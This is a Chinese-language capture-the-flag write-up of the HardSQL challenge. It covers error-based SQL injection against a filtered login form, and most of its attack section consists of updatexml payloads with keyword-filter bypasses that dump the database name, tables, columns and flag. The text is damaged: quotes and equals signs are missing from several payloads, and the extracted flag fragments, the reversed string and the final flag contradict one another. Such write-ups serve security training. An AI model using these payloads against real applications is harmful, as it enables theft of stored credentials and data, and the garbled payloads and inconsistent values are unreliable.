(带过滤)无回显的报错注入(Error-Based))
摘要本篇主要介绍对无回显的报错注入过滤绕过实战使用方法。本题过滤了以下关键词and、or带空格、union、、/*、!、sleep、rand、mid、substr、substring、insert双写关键词绕过方法没用目录一、题目详情二、解题思路及原理1、登录绕过1万能密码2判断注入类型2、利用 updatexml 函数爆库名3、利用 updatexml 函数爆表名4、利用 updatexml 函数爆字段名5、利用 updatexml 函数爆数据一、题目详情题目来源CTF²[极客大挑战 2019]HardSQL靶机环境启动靶机二、解题思路及原理1、登录绕过1万能密码a、万能密码失效b、存在过滤因为它捕捉到你输入的关键注入词2判断注入类型判断字符型还是数字型输入1页面报错 -字符型注入存在单引号闭合问题。输入1页面正常 -数字型注入不需要单引号闭合。可以判断出a、无回显的报错注入 b、字符型注入2、利用updatexml函数爆库名前面已经说了本题过滤了哪些关键词所以后续使用的东西与标准的写法不一致都是为了绕过。标准版 and updatexml(1,concat(0x7e,(select database()),0x7e),1)#绕过版简写版-updatexml(1,concat(0x7e,database()),1)# 绕过标准版-updatexml(1,concat(0x7e,(select(database())),0x7e),1)# 两种效果一样 因为concat(0x7e, database(), 0x7e) 里database()是函数调用可以直接用不需要 selectand被过滤用-代替。其实用-比用and更稳因为and依赖短路逻辑某些情况下右边可能不被执行-是算术运算两边一定都会算updatexml必然执行结果如下拿到了数据库名“geek”3、利用updatexml函数爆表名标准版 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemadatabase()),0x7e),1)#绕过版-updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(geek))),1)#被过滤用like来代替。like直接从所有库表中来搜寻所以不需要那么精准写从哪个数据库或哪个表来搜。结果如下拿到了表名“H4rDsq1”4、利用updatexml函数爆字段名标准版 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameH4rDsq1),0x7e),1)#绕过版-updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1))),1)#结果如下拿到了字段名id,username,password5、利用updatexml函数爆数据标准版:-updatexml(1,concat(0x7e,(select(substr(group_concat(username,:,password),N,30))from(H4rDsq1)),0x7e),1)#绕过版:1先用不切分函数直接获取一部分-updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password))from(H4rDsq1))),1)#结果如下获得了一部分的flagCTF2{d9a1054e-c83a-40a2-2后续的部分因为substr、mid、substring都被被过滤所以要考虑其他方式。这里采用reverse反转后读取-updatexml(1,(select(reverse(password))from(H4rDsq1)),1)#结果如下另一部分的flag}eb709c5d07e7-1519-2a04-a38c-e45但由于它是反转过的需要把它反转回来f9f-2702-4eae-b1e5-5edffb3c03a3}PS如果不放心还可以使用lpad函数看看中间字段情况-updatexml(1,(select(lpad(password,60,0x20))from(H4rDsq1)),1)#最后两部分拼接得到最终flagCTF2{b7676f9f-2702-4eae-b1e5-5edffb30c3a3}